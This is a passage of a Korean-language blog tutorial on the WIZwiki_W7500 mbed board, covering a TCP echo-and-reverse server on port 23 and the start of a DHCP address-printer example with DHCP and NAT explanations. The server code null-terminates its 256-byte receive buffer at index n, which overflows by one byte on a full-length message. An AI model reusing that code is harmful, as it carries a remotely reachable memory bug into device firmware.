<li style="display: list-item; line-height: 1.4em;">TCP server codes<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19456386915" title="2015-07-06_13-35-41 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/445/19456386915_7246642f71_z.jpg" width="525" height="635" alt="2015-07-06_13-35-41" style="max-width: 100%;"></a></li>
</ul>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Set serial teminal for teraterm<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19183500880" title="2015-07-03_13-07-00 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/373/19183500880_4037f5a189.jpg" width="383" height="313" alt="2015-07-03_13-07-00" style="max-width: 100%;"></a></p>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Set TCP client by using hercules<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19375197671" title="2015-07-03_13-07-25 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/501/19375197671_278fd3d68e_z.jpg" width="637" height="550" alt="2015-07-03_13-07-25" style="max-width: 100%;"></a></p>
</li>
</ol><ol style="list-style-type: decimal;">
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Display</p>
<ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Step1: success DHCP client and wait tcp client.<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19184957919" title="2015-07-03_12-59-44 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/536/19184957919_247955510b.jpg" width="470" height="500" alt="2015-07-03_12-59-44" style="max-width: 100%;"></a></p>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Step2: Complete TCP-connection from hecules(TCP client)<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19183564908" title="2015-07-03_13-17-34 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/265/19183564908_118d79dc54_z.jpg" width="487" height="518" alt="2015-07-03_13-17-34" style="max-width: 100%;"></a></p>
</li>
</ul>
</li>
</ol><ol style="list-style-type: decimal;">
<li style="display: list-item; line-height: 1.4em;">Confirm sent data and received data<ul>
<li style="display: list-item; line-height: 1.4em;">on hecules<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19375197561" title="2015-07-03_13-19-39 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/410/19375197561_25a852bcdc_z.jpg" width="637" height="550" alt="2015-07-03_13-19-39" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">on teraterm<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19371143375" title="2015-07-03_13-19-43 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/509/19371143375_8c56fb36bb.jpg" width="470" height="500" alt="2015-07-03_13-19-43" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">on Wireshark (Packet Capture)<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19365017012" title="2015-07-03_13-25-55 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c2.staticflickr.com/4/3880/19365017012_d8787a2d24_b.jpg" width="1024" height="510" alt="2015-07-03_13-25-55" style="max-width: 100%;"></a></li>
</ul>
</li>
</ol><h2 id="code-repositroy" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="code-repositroy" href="#code-repositroy" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Code Repositroy</h2><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;"><a href="http://developer.mbed.org/users/embeddist/code/DHCPChatServe" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a><a href="http://developer.mbed.org/users/embeddist/code/DHCPChatServe" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">http://developer.mbed.org/users/embeddist/code/DHCPChatServe</a></p><h2 id="rer.-code" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="rer.-code" href="#rer.-code" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Rer. Code</h2><pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; overflow: auto;"><code class="cpp hljs" data-origin="<pre><code class="cpp">#include "mbed.h"
#include "EthernetInterface.h"
#define ECHO_SERVER_PORT 23 // telnet defaults to port 23
DigitalOut myled(LED1);
// Initialize the Ethernet client library
EthernetInterface eth;
int main() {
// Enter a MAC address for your controller below.
uint8_t mac_addr[6] = {0x00, 0x08, 0xDC, 0x00, 0x01, 0x02};
// initializing MAC address
eth.init(mac_addr);
// Check Ethenret Link
if(eth.link() == true)
printf("- Ethernet PHY Link-Done \r\n");
else
printf("- Ethernet PHY Link- Fail\r\n");
// Start Ethernet connecting: Trying to get an IP address using DHCP
if ( eth.connect() &lt; 0 )
printf("Fail - Ethernet Connecing");
else
{
// Print your local IP address:
printf("IP=%s\n\r",eth.getIPAddress());
printf("MASK=%s\n\r",eth.getNetworkMask());
printf("GW=%s\n\r",eth.getGateway());
}
TCPSocketServer server;
server.bind(ECHO_SERVER_PORT);
server.listen();
while (true) {
printf("\nWait for new connection...\n\r");
TCPSocketConnection client;
server.accept(client);
//client.set_blocking(false, 1500); // Timeout after (1.5)s
printf("Connection from: %s\n\r", client.get_address());
char buffer[256];
while (true) {
int n = client.receive(buffer, sizeof(buffer));
if (n &lt;= 0) break;
// print received message to terminal
buffer[n] = '\0';
printf("Received message from Client :'%s'\n\r",buffer);
// reverse the message
char temp;
for(int f = 0, l = n-1; f&lt;l; f++,l--){
temp = buffer[f];
buffer[f] = buffer[l];
buffer[l] = temp;
}
// print reversed message to terminal
printf("Sending message to Client: '%s'\n\r",buffer);
// Echo received message back to client
client.send_all(buffer, n);
if (n &lt;= 0) break;
}
client.close();
//led blinky
myled = 1;
wait(0.2);
myled = 0;
wait(0.2);
}
}
</code></pre>" style="display: block;border: 1px solid rgb(204, 204, 204); white-space: pre; padding: 0.5em; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 0.9em; font-family: Consolas, Inconsolata, Courier, monospace;display: block; overflow-x: auto; padding: 0.5em; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); background-position: initial initial; background-repeat: initial initial;"><span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">include</span> "mbed.h"</span>
<span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">include</span> "EthernetInterface.h"</span>
<span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">define</span> ECHO_SERVER_PORT 23 <span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// telnet defaults to port 23</span></span>
DigitalOut myled(LED1);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Initialize the Ethernet client library</span>
EthernetInterface eth;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> main() {
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Enter a MAC address for your controller below.</span>
uint8_t mac_addr[<span class="hljs-number" style="color: rgb(0, 128, 128);">6</span>] = {<span class="hljs-number" style="color: rgb(0, 128, 128);">0x00</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x08</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0xDC</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x00</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x01</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x02</span>};
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// initializing MAC address</span>
eth.init(mac_addr);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Check Ethenret Link</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span>(eth.link() == <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">true</span>)
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"- Ethernet PHY Link-Done \r\n"</span>);
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">else</span>
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"- Ethernet PHY Link- Fail\r\n"</span>);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Start Ethernet connecting: Trying to get an IP address using DHCP</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> ( eth.connect() < <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span> )
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Fail - Ethernet Connecing"</span>);
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">else</span>
{
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Print your local IP address:</span>
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"IP=%s\n\r"</span>,eth.getIPAddress());
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"MASK=%s\n\r"</span>,eth.getNetworkMask());
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"GW=%s\n\r"</span>,eth.getGateway());
}
TCPSocketServer server;
server.bind(ECHO_SERVER_PORT);
server.listen();
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">while</span> (<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">true</span>) {
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"\nWait for new connection...\n\r"</span>);
TCPSocketConnection client;
server.accept(client);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//client.set_blocking(false, 1500); // Timeout after (1.5)s</span>
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Connection from: %s\n\r"</span>, client.get_address());
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">char</span> buffer[<span class="hljs-number" style="color: rgb(0, 128, 128);">256</span>];
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">while</span> (<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">true</span>) {
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> n = client.receive(buffer, <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">sizeof</span>(buffer));
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> (n <= <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>) <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">break</span>;
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// print received message to terminal</span>
buffer[n] = <span class="hljs-string" style="color: rgb(221, 17, 68);">'\0'</span>;
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Received message from Client :'%s'\n\r"</span>,buffer);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// reverse the message</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">char</span> temp;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">for</span>(<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> f = <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>, l = n-<span class="hljs-number" style="color: rgb(0, 128, 128);">1</span>; f<l; f++,l--){
temp = buffer[f];
buffer[f] = buffer[l];
buffer[l] = temp;
}
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// print reversed message to terminal</span>
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Sending message to Client: '%s'\n\r"</span>,buffer);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Echo received message back to client</span>
client.send_all(buffer, n);
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> (n <= <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>) <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">break</span>;
}
client.close();
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//led blinky</span>
myled = <span class="hljs-number" style="color: rgb(0, 128, 128);">1</span>;
wait(<span class="hljs-number" style="color: rgb(0, 128, 128);">0.2</span>);
myled = <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>;
wait(<span class="hljs-number" style="color: rgb(0, 128, 128);">0.2</span>);
}
}
</code></pre></div>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-52060354159621917742015-07-05T21:27:00.000-07:002015-07-06T06:02:46.263-07:00DHCPAddressPrinter<div style="background-color: rgb(255, 255, 255); font-family: 'Lucida Grande', 'Segoe UI', 'Apple SD Gothic Neo', 'Malgun Gothic', 'Lucida Sans Unicode', Helvetica, Arial, sans-serif; font-size: 0.9em; overflow-x: hidden; overflow-y: auto; margin: 0px !important; padding: 5px 20px 26px !important;padding: 20px;padding: 20px; color: rgb(0, 0, 0); font-size: 15px; font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', AppleSDGothicNeo-Medium, 'Segoe UI', 'Malgun Gothic', Verdana, Tahoma, sans-serif; background-color: rgb(255, 255, 255); -webkit-font-smoothing: antialiased; background-position: initial initial; background-repeat: initial initial;">
<h1 id="dhcpaddressprinter" style="clear: both;font-size: 2.2em; font-weight: bold; margin: 1.5em 0px 1em;margin-top: 0px;"><a name="dhcpaddressprinter" href="#dhcpaddressprinter" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>DHCPAddressPrinter</h1><h2 id="dynamic-host-configuration-protocol" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="dynamic-host-configuration-protocol" href="#dynamic-host-configuration-protocol" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Dynamic Host Configuration Protocol</h2><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;">DHCP의 자세한 내용은 아래의 링크를 참조한다.<br style="clear: both;"><a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">Wikipedia:Dynamic Host Configuration Protocol</a></p><p style="margin: 1em 0px; word-wrap: break-word;">DHCP를 사용할때 필요한 개념들을 정성적으로 이해하고 실제로 Router(DHCP Server)와 ARMmbed Platform(DHCP Client)의 관계를 알아보자. 또한, 궁극적으로 ARMmbed Platform의 WIZnetInterface에서 어떻게 DHCP를 설정하고 사용하는 지 초점을 맞춘다. </p><h3 id="dhcp-왜-사용하나?" style="clear: both;font-size: 1.6em; font-weight: bold; margin: 1.125em 0px 0.75em;"><a name="dhcp-왜-사용하나?" href="#dhcp-왜-사용하나?" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>DHCP 왜 사용하나?</h3><ul>
<li style="display: list-item; line-height: 1.4em;">Dynamic Host Configuration Protocol의 정의 처럼 동적으로 Host의 IP address를 설정하여 사용할 수 있도록한다. </li>
<li style="display: list-item; line-height: 1.4em;">목적은 Network상에서 Network Administrator 과 일반 Network User가 manual로 설정을 줄이는 것이다. </li>
</ul><p style="margin: 1em 0px; word-wrap: break-word;">우리가 일상생활에서 흔히 경험하는 가장 쉬운 예로 들어보자. Smart phone을 유무선공유기(Access Point)에 접속할때 AP의 SSID선택하고 Password 입력하면 “IP를 받아오는 중”이라는 는 문구를 볼 수 있다. 이것은 Smart Phone(DHCP Client)이 AP(DHCP Server)로 부터 IP address 할당 받는 것을 뜻한다. </p><p style="margin: 1em 0px; word-wrap: break-word;">우리는 DHCP server 부터 할당 받은 IP address가 무엇인지, 할당 받은 IP address를 언제까지 사용할 수 있는지 등과 같은 것들을 생각하지 않아도 된다. 이것이 DHCP를 사용하는 이유이다.</p><p style="margin: 1em 0px; word-wrap: break-word;">단지, 이때 주의해야 할 것은 AP가 WAN (Wide Area Network) Port로의 설정이 Internet이 가능하도록 설정되어 있냐는 것이다. AP로 부터 IP address를 할당받았으나 Google이나 Naver의 접속이 안되는 경우 즉, Internet이 안 될때가 이 경우이다. 이것을 이해하려면 공유기의 NAT기능을 알아야 한다. </p><ul>
<li style="display: list-item; line-height: 1.4em;"><strong class="highlight" style="color: black; padding: 0px 5px; background-color: rgb(253, 255, 182); -webkit-box-shadow: rgb(253, 255, 182) 0px 0px 5px; box-shadow: rgb(253, 255, 182) 0px 0px 5px;">Network Address Translation (NAT)</strong><br style="clear: both;">일반적으로 공유기 NAT 기능을 지원한다. NAT는 Local network IP address와 Internet IP address를 Translation해주는 기능이다. 아래의 그림과 같이 NAT(공유기)는 DHCP server로 동작하여 Local network에 있는 모든 Host들에 대해 DHCP IP address를 할당한다. 그리고 NAT가 Internet Service Provider(ISP, 쉽게말해 KT, U+)로 부터 IP address를 할당 받았다면, 이 해당 NAT는 인터넷에 접속이 가능하다. 다시말하면, NAT에 연결된 모든 Host들은 Internet에 접속 할 수 있다.<br style="clear: both;"> <img style="max-width: 100%;"><br style="clear: both;"> <strong>출처: <a href="http://www.h3c.com/portal/res/200808/06/20080806_659082_image001_613642_57_0.gif" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">http://www.h3c.com/portal/res/200808/06/20080806_659082_image001_613642_57_0.gif</a></strong><br style="clear: both;">NAT의 구체적인 원리는 위의 그림에서 NAT table을 이해하면 좀 더 쉽게 알 수 있다. 이 NAT table은 Host(10.1.1.100:8)이 연결되어 있으며 외부의 Server(211.100.7.34:24)로 접속을 한 경우를 보여준다. Host는 DHCP IP address를 할당받아 Server에 자신의 Local IP address로 접속 할 수가 없다. 이때 Host는 NAT의 IP transtation기능을 이용하여 NAT의 IP address (162.105.178.65)를로 외부의 (WAN/Internet)에 연결되어 있는 Server에 접속이 가능해진다. 반대로 Server입장에서는 Host의 IP Address는 알 수 없고 NAT의 IP address만 인식할 수 있다. </li>
</ul><h3 id="how-to-use-dhcp-in-wiznetinterface-?" style="clear: both;font-size: 1.6em; font-weight: bold; margin: 1.125em 0px 0.75em;"><a name="how-to-use-dhcp-in-wiznetinterface-?" href="#how-to-use-dhcp-in-wiznetinterface-?" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>How to use DHCP in WIZnetInterface ?</h3><ul>
<li style="display: list-item; line-height: 1.4em;">OS기반의 PC에서 DHCP를 설정한다면 아래와 같이 아주 간단하게 설정 할 수 있다. <pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; overflow: auto;"><code data-origin="<pre><code> PC상에서 DHCP를 설정하기 일반적으로 WINDOWS를 쓴다면 아래의 그림과 같이 **제어판&gt;&gt;네트워크 및 인터넷&gt;&gt;네트워크 및 공유 센터&gt;&gt;로컬영역연열&gt;&gt;로컬영역상태&gt;&gt;속성&gt;&gt;Internet Protocol Version 4(TCP/IP속성)**에서 '자동으로 IP 주소 받기'를 클릭한다. 끝!
</code></pre>" style="display: block;border: 1px solid rgb(204, 204, 204); white-space: pre; padding: 0.5em; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 0.9em; font-family: Consolas, Inconsolata, Courier, monospace;"> PC상에서 DHCP를 설정하기 일반적으로 WINDOWS를 쓴다면 아래의 그림과 같이 **제어판>>네트워크 및 인터넷>>네트워크 및 공유 센터>>로컬영역연열>>로컬영역상태>>속성>>Internet Protocol Version 4(TCP/IP속성)**에서 '자동으로 IP 주소 받기'를 클릭한다. 끝!
</code></pre><a href="https://www.flickr.com/photos/129289794@N06/19344431165" title="2015-07-02_14-41-34 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/398/19344431165_e93f84c1bb.jpg" width="479" height="429" alt="2015-07-02_14-41-34" style="max-width: 100%;"></a></li>
</ul><p style="margin: 1em 0px; word-wrap: break-word;">하지만, Embedded System의 경우 일일이 Developer가 설정해야 한다. </p><ul>
<li style="display: list-item; line-height: 1.4em;"><strong class="highlight" style="color: black; padding: 0px 5px; background-color: rgb(253, 255, 182); -webkit-box-shadow: rgb(253, 255, 182) 0px 0px 5px; box-shadow: rgb(253, 255, 182) 0px 0px 5px;">이제부터 WIZnetInterface의 DHCP Client를 사용해보자</strong><ul>
<li style="display: list-item; line-height: 1.4em;">준비단계<ul>
<li style="display: list-item; line-height: 1.4em;">Network 구축: 공유기의 DHCP Server기능을 활성화하고 해당 공유기에 Target board(WIZwiki_W7500)와 PC를 연결한다. </li>
<li style="display: list-item; line-height: 1.4em;">DHCPClient코드/Library: WIZnetInterface에 DHCPClient Library를 포함하고 있다.<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19070511119" title="dhcpdns by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/457/19070511119_3a959c3760_m.jpg" width="199" height="141" alt="dhcpdns" style="max-width: 100%;"></a> </li>
</ul>
</li>
</ul>
</li>
</ul><h2 id="do-dhcpaddressprinter" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="do-dhcpaddressprinter" href="#do-dhcpaddressprinter" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Do DHCPAddressPrinter</h2><ol style="list-style-type: decimal;">
<li style="display: list-item; line-height: 1.4em;">Create New Program as DHCPAddressPrinter<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19372043881" title="2015-07-03_09-35-41 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c2.staticflickr.com/4/3731/19372043881_82846520b9.jpg" width="442" height="334" alt="2015-07-03_09-35-41" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Confirm the created program (mbed: mbed.lib, main.c:blinky_led)<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19341908976" title="2015-07-03_09-49-33 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c2.staticflickr.com/4/3694/19341908976_26e637c03a.jpg" width="474" height="335" alt="2015-07-03_09-49-33" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Import WIZnetInterface by using Import Wizard:”<a href="https://developer.mbed.org/teams/WIZnet/code/WIZnetInterface/"(1" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">https://developer.mbed.org/teams/WIZnet/code/WIZnetInterface/"(1</a>)<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/18747350583" title="2015-07-03_09-51-36 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/354/18747350583_24b4c8c1c8_c.jpg" width="800" height="652" alt="2015-07-03_09-51-36" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Set Import Library<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19341908736" title="2015-07-03_09-56-16 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/332/19341908736_54762449ca.jpg" width="441" height="333" alt="2015-07-03_09-56-16" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Confirm the imported WIZnetInterface library<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/18747350323" title="2015-07-03_09-57-27 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/423/18747350323_1dfc2b391d_c.jpg" width="800" height="296" alt="2015-07-03_09-57-27" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Make Codes<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/18747350193" title="2015-07-03_10-32-05 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/420/18747350193_3dbac7694b_z.jpg" width="640" height="568" alt="2015-07-03_10-32-05" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Confirm COM port for mbed platform<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19180414688" title="2015-07-03_10-49-53 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/557/19180414688_8e9c3bd9dd.jpg" width="334" height="498" alt="2015-07-03_10-49-53" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Set serial port for teraterm<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/18747349923" title="2015-07-03_10-51-10 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/469/18747349923_02d69df641.jpg" width="486" height="284" alt="2015-07-03_10-51-10" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Display the IP address allocated from DHCP server<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19180414608" title="2015-07-03_10-51-54 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/422/19180414608_ff0f24e32b.jpg" width="467" height="442" alt="2015-07-03_10-51-54" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Download bin files from WebIDE<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19368003825" title="2015-07-03_10-54-44 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/354/19368003825_3937ff59d6_c.jpg" width="800" height="739" alt="2015-07-03_10-54-44" style="max-width: 100%;"></a></li>
</ol><h2 id="code-repository-on-armmbed" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="code-repository-on-armmbed" href="#code-repository-on-armmbed" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Code Repository on ARMmbed</h2><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;"><a href="http://developer.mbed.org/users/embeddist/code/DHCPAddressPrinter/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a><a href="http://developer.mbed.org/users/embeddist/code/DHCPAddressPrinter/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">http://developer.mbed.org/users/embeddist/code/DHCPAddressPrinter/</a></p><h2 id="code" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="code" href="#code" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Code</h2><pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; overflow: auto;"><code 